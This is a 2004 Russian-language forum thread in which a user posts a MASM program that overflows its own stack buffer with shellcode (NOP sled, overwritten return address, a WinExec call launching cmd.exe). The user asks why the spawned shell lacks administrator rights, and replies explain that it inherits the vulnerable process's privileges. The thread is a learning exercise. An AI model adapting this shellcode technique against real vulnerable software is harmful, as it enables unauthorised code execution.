· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.WIN32 —› Почему нет прав админа при переполнении стека ?

Посл.отвђт Сообщенiе


Дата: Июн 24, 2004 16:12:03 · Поправил: animator

Добрый день!
Собрал все статьи на русском о переполнении буфера ... попытался переписать что-то свое ...

;echo off
;goto make

.386
.model flat, stdcall 
 option casemap: none

    include \masm32\include\windows.inc
    include \masm32\include\kernel32.inc
    includelib \masm32\lib\kernel32.lib
    include \masm32\include\masm32.inc
    includelib \masm32\lib\masm32.lib
    include \masm32\include\user32.inc
    includelib \masm32\lib\user32.lib

.data
;*******************************************
_shell_code	db '1111222233'
_new_EIP	dd $ + 10 + 4
		db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
		db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
		db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h

		push 5		; push SW_SHOW
		mov EAX, offset clBuffer	
		push EAX
		db 0B8h	; mov EAX, ...
_WinExec	DD ?; тут положим адресс WinExec()
		CALL EAX

		PUSH 0		
		db 0B8h	; mov EAX, ... 
_ExitProcess	DD ?	; тут положим адресс ExitProcess()
		CALL EAX

clBuffer	db 'C:\WINNT\system32\CMD.EXE',0		 

len_		EQU $ - _shell_code
;***************************************************

_Kernel32	DD ?
szKernel32	DB 'kernel32.dll',0
szExitProcess	DB 'ExitProcess',0
szWinExec	DB 'WinExec',0
;----------------------------------------------
.code
start: 

	invoke LoadLibrary,ADDR szKernel32
	mov _Kernel32,EAX

	invoke GetProcAddress, EAX,ADDR szExitProcess
	mov _ExitProcess,EAX

	invoke GetProcAddress, _Kernel32,ADDR szWinExec
	mov _WinExec,EAX

	call _strspy
;----------------------------------------------
_strspy:

	PUSH EBP
	MOV EBP,ESP
	ADD ESP,0Ah

	LEA ESI,_shell_code
	LEA EDI,DWORD PTR SS:[EBP-0Ah]
	XOR ECX,ECX
	MOV CL,len_
	CLD
wh:
	LODS BYTE PTR DS:[ESI]
	STOS BYTE PTR ES:[EDI]
	LOOPD wh
	mov ESP,EBP
	RET 
;----------------------------------------------
 end start


:make

SET PROJECTNAME=_e
SET MASMBINPATH=\MASM32\BIN

%MASMBINPATH%\Ml.exe /c /coff /Zp1 %PROJECTNAME%.bat
%MASMBINPATH%\Link.exe /SUBSYSTEM:WINDOWS /SECTION:.text,EWR %PROJECTNAME%.obj

del *.obj


Переполнение происходит, вызывается cmd.exe, без проблем, НО! в режиме пользователя после запуска этой программы нет админских прав, то есть комада в оболочке cmd :
net session
выдает ошибку 5 мол нет таких прав :(

Подскажите пожалуйста в чем ошибка, хотелось бы знать. Спасибо.


Дата: Июн 24, 2004 16:42:08

запуска этой программы нет админских прав

Эта программа должна давать админские права ?


Дата: Июн 24, 2004 16:50:10 · Поправил: animator

... а какже тогда известная статья ...
http://www.uinc.ru/articles/14/
... там это и обещается ...


Дата: Июн 24, 2004 17:10:43

... а какже тогда известная статья ...

Известная ? Это смотря , кто чем интересуеться :)

... там это и обещается ...

Там что-то говориться о контексте SYSTEM , а ты запускаешь с правами текущего юзверя .

Кроме того статья 2001 года . У тебя какая винда и какие стоят сервиспаки ...


Дата: Июн 24, 2004 17:12:25

... Win2000 SP4.


Дата: Июн 27, 2004 16:27:21

в ХР-инглишь не хотит работать твой код.


Дата: Июн 27, 2004 17:14:11 · Поправил: intuit

animator
> Переполнение происходит, вызывается cmd.exe, без проблем, НО!

С чего ты взял, что переполняемый буфер принадлежит
программе, выполняемой с правами Администратора и выше?
ты получаешь командную строку с правами текущего выполняемого "уязвимого" приложения..


Дата: Июн 28, 2004 10:40:42 · Поправил: animator

... да, Вы правы, спасибо. Глупым получился мой вопрос, ну ничего ... :)


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.049